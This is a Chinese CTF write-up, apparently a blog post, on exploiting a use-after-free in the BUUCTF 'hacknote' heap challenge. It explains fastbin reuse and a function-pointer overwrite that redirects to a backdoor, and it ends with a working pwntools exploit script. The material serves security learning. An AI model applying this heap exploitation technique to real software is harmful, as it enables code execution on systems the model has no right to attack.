堆利用 UAF漏洞

前言:

笔者是一个pwn的rookie dog有不对的地方请师傅指正呀

我觉得我现在uaf应该还是比较详细的hhh

我也会不定时写一些自己的刷题记录和学习记录,欢迎关注和探讨hhh

这是buuctf上的一道很经典的uaf的题目,正好刚学想要来做一下,和ctfviki上面差不多。

一、checksec一下

二、丢进ida

1)main函数

菜单函数(menu)已经帮我们总结了这些函数的意思,我们会在下面展开看这些函数

补充知识点1:

ida的小技巧(快捷键)

我们可以用注释键(也就是带/?那个)在ida那一行写注释

我们可以讲menu函数中的内容以注释的形式展示在旁边,便于阅读

同时像g可以跳转,上方颜色条可以快速定位等等,详情可见这位师傅归纳的博客

后面的我也还不太会用哈哈哈

IDA Pro7.0使用技巧总结 - 先知社区

2)add_note()

我们看这种堆体,可以试试先看这里——malloc的地方

1.红色箭头

count计数,最多有5个结点(note)

2.黄色箭头

程序会先申请一个0x8大小的空间,这里面分为两个部分(可以理解为两个指针)

一个指针进行函数跳转,输出real content的内容(这个看青色箭头)

一个指针指向real_content(这个看蓝色箭头)

3.青色箭头

使其可以输出real_content

4.粉色箭头

输入real content的空间

5.蓝色箭头

指向real_content

总结一下这个函数:

add_note为了构成这个结构

注意:这里的箭头只表示方向,不表示实际的物理地址

然后看一下我的exp调试,我add中buf的大小为0x30

2)dele函数

补充知识点2:

aoti()函数使把字符串型转化为整型

出现漏洞:

我们看红色箭头部分,我们只删除空间内,没有把指针至NULL,出现UAF漏洞

3)print_note

这个没什么好讲的啦,就是输出,调用了那个put

可能是我的ida问题,显示的怪难受的,所以从wiki上找了一份一样的,就是可能变量有一点点的小区别,相信大家还是可以看懂的!

4)magic函数

唔,白给的后门函数

三、分析思路】

请结合wp一起看呀

1)总体思路

这个给了后门函数的返回地址,并且会有put函数的跳转,如果我们可以覆写note中put位置为后门函数的返回地址,在实现print_note时就可以跳转到后门函数,从而就可以实现UAF的利用。

2)fast bins的LIFO以及chunk分配

补充知识点3:

fastbins的LIFO,最后进入bins(后free也就时后dele)的最先被取用

我们可以申请一个大小也为0x8的chunk,这样我们可以获得一个与上文一样的chunk,这样我们就可以改写put的位置(见补充知识点4)

补充知识点4:

操作系统会先从bins(这里的大小是fast bins)里面找相同大小的chunk,然后返回指针,指针指向的区域就是用户可写区域。

我们可以对put进行覆写(改为后门函数),在print里面进行调用

3)思路总结

综上我们需要开辟一个任意大小的空间(主要是为了add_note里面自己开辟的那0x8的位置)然后将其free掉,利用UAF漏洞

下面附带ctfviki的思路

这里的与所在bin不一样就是和0x8不一样,不然的话real_content会被分配,从而无法修改put。

我用我自己的语言描述一遍

STEP1

我们先申请了node 0和node 1,add函数会分别申请(申请两次)一个0x8和0x30

STEP3

我们删除了两个结点,它们分别进入fastbins中

STEP3

我们重新申请一个0x8大小的空间(add_note函数),这时候对管理器会去fastbisn中找两个0x10(还有两个控制字段)

堆管理器会先给我们node1的空间(这是add函数的第一个0x8),我们可以向一的content里写东西

注意,这里向1写东西实际上就是node 0的real content的部分实际写入

然后我们实际申请的0x8(也就是buf获得)就是node 0,由于real content的位置被写入了magic函数的地址

当我们执行print_note函数的时候,以为调用的还是note0原本的put(可实际上换作了magic函数)

这里理解的难点就是,我们add_note函数的时候给的是,node 0和node1 大小为0x10的空间

四、wp

from pwn import *

#r=remote('node4.buuoj.cn',25109)

r=process('./hacknote')

def add(size,content):

r.sendlineafter('choice :','1')

r.sendlineafter('Note size :',str(size))

r.sendlineafter('Content :',content)

def delete(idx):

r.sendlineafter('choice :','2')

r.sendlineafter('Index :',str(idx))

def printf(idx):

r.sendlineafter('choice :','3')

r.sendlineafter('Index :',str(idx))

shell_addr=0x8048945

add(48,'aaaa')#0

add(48,'bbbb')#1

add(48,'cccc')#2

gdb.attach(r)

#pause()

delete(0)

delete(1)

pause()

add(8,p32(shell_addr))

#pause()

printf(0)

r.interactive()

附带摘录的博客链接

Use After Free - CTF Wiki (ctf-wiki.org)

IDA Pro7.0使用技巧总结 - 先知社区

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值